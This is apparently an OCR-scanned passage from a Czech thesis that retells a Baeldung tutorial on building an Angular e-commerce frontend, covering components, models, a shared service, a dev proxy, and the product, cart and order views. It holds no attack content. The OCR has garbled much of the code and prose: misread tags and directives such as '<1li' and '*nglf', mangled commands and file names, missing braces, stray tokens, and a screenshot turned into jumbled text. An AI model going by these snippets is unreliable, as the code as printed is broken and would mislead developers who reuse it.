node_ modules/bootstrap/dist/css/bootstrap.min.css pod vlastnost ,styles*. (baeldung,
2020)

8.1.2.3 Komponenty a modely

Pred vytvorenim komponent pro aplikaci je vhodné se podivat, jak bude aplikace
vypadat: (baeldung, 2020)
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Baeldung Ecommerce

TV Set Game Console Sofa Shopping Cart
Total: $472
200 100 200X 100 200X 100 s bought
* Game Console - 1 pcs.
$300 $200 $100

» Sofa-2pcs.

lcecream Beer Phone
200 100 200 x 100 200 x 100
$5 $3 $500
: :
Watch
200x 100
$30

:

Obrdzek 74: e-shop priklad (baeldung, 2020)

Nyni bude vytvofena zékladni komponenta zvana ecommerce: (baeldung, 2020)

ng g cCc ecommerce

Timto bude vytvofena komponenta ve sloZce /frontend/src/app. Pro nacteni pii
spusténi aplikace, je tfeba ji pFidat do souboru app.component.html: (baeldung, 2020)

<div class="container">
<app-ecommerce></app-ecommerce>
</div>

Dale budou vytvoreny dalsi komponenty uvniti této zédkladni komponenty: (baeldung,
2020)

ng g ¢ /ecommerce/products
ng g ¢ /ecommerce/orders
ng g ¢ /ecommerce/shopping-cart

Samoziejmé je mozné vSechny tyto slozky a soubory vytvorit ru¢né, pokud je to
preferovano, ale v tom pripadé je tfeba zapsat tyto komponenty do AppModule.

(baeldung, 2020)

Pro snadnou manipulaci s daty budou tifeba nékteré modely: (baeldung, 2020)
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export class Product {
id: number;
name: string;
price: number;
pictureUrl: string;

// all arguments constructor

export class ProductOrder {
product: Product;
quantity: number;

// all arguments constructor

}

export class ProductOrders {
productOrders: ProductOrder[] = [];
}

Posledni zmifiovany model odpovida OrderForm v back endu. (baeldung, 2020)

8.1.2.4 Zakladni komponenta

V horni ¢asti komponenty elektronického obchodu bude umistén navbar s odkazem
Home vpravo: (baeldung, 2020)

<nav class="navbar navbar-expand-lg navbar-dark bg-dark fixed-top">
<div class="container">

<a class="navbar-brand" href="#">Baeldung Ecommerce</a>

<button class="navbar-toggler" type="button" data-toggle="collapse"
data-target="4#navbarResponsive" aria-controls="navbarResponsive"
aria-expanded="false" aria-label="Toggle navigation"
(click)="toggleCollapsed()">

<span class="navbar-toggler-icon"></span>

</button>
<div id="navbarResponsive"
[ngClass]="{"'collapse': collapsed, 'navbar-collapse': true}'">

<ul class="navbar-nav ml-auto">
<1li class="nav-item active">

<a class="nav-1link" href="#" (click)="reset ()">Home
<span class="sr-only"> (current)</span>
</a>
</1li>
</ul>
</div>
</div>
</nav>

Dalsi komponenty budou na¢teny odtud: (baeldung, 2020)

<div class="row">
<div class="col-md-9">
<app-products #productsC [hidden]="orderFinished"></app-products>
</div>
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<div class="col-md-3">
<app-shopping-cart (onOrderFinished)=finishOrder ($Sevent)

#shoppingCartC
[hidden]="orderFinished"></app-shopping-cart>
</div>
<div class="col-md-6 offset-3">
<app-orders #ordersC [hidden]="!orderFinished"></app-orders>
</div>
</div>

K zobrazeni obsahu komponent, protoze je pouzivdna tiida navbar, musi byt CSS

pridano do souboru app.component.css: (baeldung, 2020)
.container {

padding-top: 65px;
}

Zde je soubor .ts: (baeldung, 2020)

@Component ({
selector: 'app-ecommerce',
templateUrl: './ecommerce.component.html',
styleUrls: ['./ecommerce.component.css']

})

export class EcommerceComponent implements OnInit
private collapsed = true;
orderFinished = false;

@ViewChild ('productsC")
productsC: ProductsComponent;

@ViewChild ('shoppingCartC')
shoppingCartC: ShoppingCartComponent;

@ViewChild ('ordersC')
ordersC: OrdersComponent;

toggleCollapsed () : void {
this.collapsed = !this.collapsed;
}

finishOrder (orderFinished: boolean) {
this.orderFinished = orderFinished;

}

reset () {
this.orderFinished = false;
this.productsC.reset ()
this.shoppingCartC.reset () ;
this.ordersC.paid = false;

Po kliknuti na odkaz Home se podfizené komponenty resetuji. Je nutny piistup k
metodam a polim uvnitf podiizenych komponent z nadfizenych, proto je tfeba uchovat
odkazy na podfizené komponenty a pouZzivaji se ty uvnitt metody reset(). (baeldung,
2020)

112



8.1.2.5 Service

K tomu, aby mohly mezi sebou komunikovat komponenty na stejné turovni je treba
vytvorit service: (baeldung, 2020)

@Injectable ()

export class EcommerceService ({
private productsUrl = "/api/products";
private ordersUrl = "/api/orders";

private productOrder: ProductOrder;
private orders: ProductOrders = new ProductOrders();

private productOrderSubject = new Subject();
private ordersSubject = new Subject();
private totalSubject = new Subject();

private total: number;

ProductOrderChanged = this.productOrderSubject.asObservable()
OrdersChanged = this.ordersSubject.asObservable()
TotalChanged = this.totalSubject.asObservable () ;

constructor (private http: HttpClient) {
}

getAllProducts () {
return this.http.get (this.productsUrl) ;

}

saveOrder (order: ProductOrders) {
return this.http.post(this.ordersUrl, order);
}

// getters and setters for shared fields

Jsou vyzadovany GET a POST requesty o komunikaci s API. Rovnéz se vytvari data,
ktera je treba sdilet mezi komponenty, aby byly pozorovatelné, abychom se k nim
pozdé&ji byl pristup. (baeldung, 2020)

Pokud nyni bude aplikace spusténa, zobrazi se 404 a nevrati se zadné data. Duvod je
ten, Ze protoze je pouzivana relativni URL, Angular se ve vychozim nastaveni pokusi
zavolat  http://localhost:4200/api/products a backendova aplikace bé&zi na
localhost:8080. (baeldung, 2020)

Nabizi se pevné zakodovat adresy URL na localhost:8080, samoziejmé, ale to neni néco,
co je na misté Pro praci s rtiznymi doménami se misto toho hodi vytvorit soubor s
nazvem prozxy-conf.json ve slozce /frontend: (baeldung, 2020)

" /api" : {
"target": "http://localhost:8080",
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http://localhost:8080/

"secure": false

Po otevieni balicek.json je tfeba zménit vlastnost scripts.start, aby odpovidala:
(baeldung, 2020)

"scripts": {

"start": "ng serve --proxy-config proxy-conf.json",

Ted je tfeba spustit aplikaci s npm start misto ng serve. (baeldung, 2020)

8.1.2.6 Produkty

Do ProductsComponent vlozime sluzbu, kterd byla vytvorena dfive, bude nacten
seznam produkti z API, které budou prevedeny do seznamu ProductOrders, protoze
je tfeba pridat ke kazdému produktu pole mnozstvi: (baeldung, 2020)

export class ProductsComponent implements OnInit {
productOrders: ProductOrder[] = [];
products: Product[] = [];
selectedProductOrder: ProductOrder;
private shoppingCartOrders: ProductOrders;
sub: Subscription;
productSelected: boolean = false;

constructor (private ecommerceService: EcommerceService) {}

ngOnInit () {
this.productOrders = [];
this.loadProducts () ;
this.loadOrders () ;

loadProducts () {
this.ecommerceService.getAllProducts ()
.subscribe (
(products: any[]) => {
this.products = products;
this.products.forEach (product => {
this.productOrders.push (new ProductOrder (product,

b
by

(error) => console.log(error)

) ;

loadOrders () {
this.sub = this.ecommerceService.OrdersChanged.subscribe (() => {
this.shoppingCartOrders = this.ecommerceService.ProductOrders;
b);
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Je tfeba také moznost pfidat produkt do nédkupniho kostku nebo jej z né&j odebrat:

(baeldung, 2020)

addToCart (order: ProductOrder) {
this.ecommerceService.SelectedProductOrder = order;
this.selectedProductOrder = this.ecommerceService.SelectedProductOrder;
this.productSelected = true;

removeFromCart (productOrder: ProductOrder) {
let index = this.getProductIndex (productOrder.product) ;
if (index > -1) {
this.shoppingCartOrders.productOrders.splice (

this.getProductIndex (productOrder.product), 1);

}

this.ecommerceService.ProductOrders = this.shoppingCartOrders;

this.shoppingCartOrders = this.ecommerceService.ProductOrders;

this.productSelected = false;

Zde je metoda reset, dfive zminéna: (baeldung, 2020)

reset () {
this.productOrders = [];
this.loadProducts () ;
this.ecommerceService.ProductOrders.productOrders = [];
this.loadOrders () ;
this.productSelected = false;

Bude provedena iterace seznamem produkti v souboru HTML, ktery bude zobrazen
uzivateli: (baeldung, 2020)

<div class="row card-deck">
<div class="col-1g-4 col-md-6 mb-4" *ngFor="let order of
productOrders">
<div class="card text-center">
<div class="card-header">
<h4>{{order.product.name} }</h4>
</div>
<div class="card-body">
<a href="#"><img class="card-img-top"
src={{order.product.pictureUrl}}
alt=""></a>
<h5 class="card-title">${{order.product.price}}</h5>
<div class="row">
<div class="col-4 padding-0"
*nglf="!isProductSelected (order.product) ">
<input type="number" min="0" class="form-control"
[ (ngModel) ]=order.quantity>
</div>
<div class="col-4 padding-0"
*nglf="!isProductSelected (order.product) ">
<button class="btn btn-primary"
(click)="addToCart (order)"
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[disabled]="order.quantity <= 0">Add To
Cart
</button>
</div>
<div class="col-12"
*nglf="isProductSelected (order.product) ">
<button class="btn btn-primary btn-block"
(click)="removeFromCart (order) ">Remove From
Cart
</button>
</div>
</div>
</div>
</div>
</div>
</div>

K odpovidajicimu souboru CSS také bude pfidéna jednoduché tiida, aby vSe hezky
sedlo: (baeldung, 2020)

.padding-0 {
padding-right: 0;
padding-left: 1;

8.1.2.7 Nakupni kosik

Do komponenty ShoppingCart také bude obsahovat service. Bude vyuzit k odbéru zmén
ve slozce ProductsComponent, bude zobrazovat, ze je produkt pfidan do kosiku a poté

bude aktualizovan obsah kosiku a podle toho budou pfepocitany celkové naklady:
(baeldung, 2020)

export class ShoppingCartComponent implements OnInit, OnDestroy {
orderFinished: boolean;
orders: ProductOrders;
total: number;
sub: Subscription;

@Output () onOrderFinished: EventEmitter<boolean>;

constructor (private ecommerceService: EcommerceService) {
this.total = 0;
this.orderFinished = false;
this.onOrderFinished = new EventEmitter<boolean> () ;

ngOnInit () {
this.orders = new ProductOrders();
this.loadCart () ;
this.loadTotal () ;

loadTotal () {
this.sub = this.ecommerceService.OrdersChanged.subscribe (() => {

this.total = this.calculateTotal (this.orders.productOrders) ;
1)
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loadCart () {
this.sub = this.ecommerceService.ProductOrderChanged.subscribe ( ()
:>{
let productOrder = this.ecommerceService.SelectedProductOrder;
if (productOrder) {
this.orders.productOrders.push (new ProductOrder (
productOrder.product, productOrder.quantity));

}
this.ecommerceService.ProductOrders = this.orders;
this.orders = this.ecommerceService.ProductOrders;
this.total = this.calculateTotal (this.orders.productOrders)

1) ;

ngOnDestroy () {
this.sub.unsubscribe () ;

}

Po dokonceni objednavky je odeslana udalost nadifazené komponenté a je tieba jit k
pokladné. Je zde také metoda reset(): (baeldung, 2020)

finishOrder () {
this.orderFinished = true;
this.ecommerceService.Total = this.total;

this.onOrderFinished.emit (this.orderFinished) ;

reset () {
this.orderFinished = false;
this.orders = new ProductOrders/();

this.orders.productOrders = []
this.loadTotal () ;
this.total = 0;

HTML soubor je jednoduchy:

<div class="card text-white bg-danger mb-3" style="max-width: 18rem;">
<div class="card-header text-center">Shopping Cart</div>
<div class="card-body">
<h5 class="card-title">Total: ${{total}}</h5>
<hr>
<h6 class="card-title">Items bought:</h6>

<ul>
<li *ngFor="let order of orders.productOrders">
{{ order.product.name }} - {{ order.quantity}} pcs.
</1li>
</ul>

<button class="btn btn-light btn-block" (click)="finishOrder ()"
[disabled]="orders.productOrders.length == 0">Checkout
</button>
</div>
</div>
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8.1.2.8 Objednavky

V programu OrdersComponent jsou simulovany platby nastavenim vlastnosti na true
a uloZenim objednavky do databaze. Zkontrolovat, zda jsou piikazy uloZeny, je mozné
bud pomoci konzole h2, nebo stiskem http://localhost:8080/api/orders. (baeldung,
2020)

Je zde tfeba také sluzba elektronického obchodovani, aby bylo mozné ziskat seznam
produkti z nakupniho kosiku a celkovou ¢astku za objednavku: (baeldung, 2020)

export class OrdersComponent implements OnInit
orders: ProductOrders;
total: number;
paid: boolean;
sub: Subscription;

constructor (private ecommerceService: EcommerceService) {
this.orders = this.ecommerceService.ProductOrders;

}

ngOnInit () {
this.paid = false;
this.sub = this.ecommerceService.OrdersChanged.subscribe(() => {
this.orders = this.ecommerceService.ProductOrders;

1) ;
this.loadTotal () ;

pay () |
this.paid = true;
this.ecommerceService.saveOrder (this.orders) .subscribe () ;

A nakonec je tieba zobrazit informace pro uzivatele: (baeldung, 2020)

<h2 class="text-center">ORDER</h2>

<ul>
<li *ngFor="let order of orders.productOrders">
{{ order.product.name }} - ${{ order.product.price }} x {{
order.quantity}} pcs.
</1i>
</ul>

<h3 class="text-right">Total amount: ${{ total }}</h3>

<button class="btn btn-primary btn-block" (click)="pay()"

*ngIlf="!paid">Pay</button>

<div class="alert alert-success" role="alert" *nglf="paid">
<strong>Congratulation!</strong> You successfully made the order.

</div>
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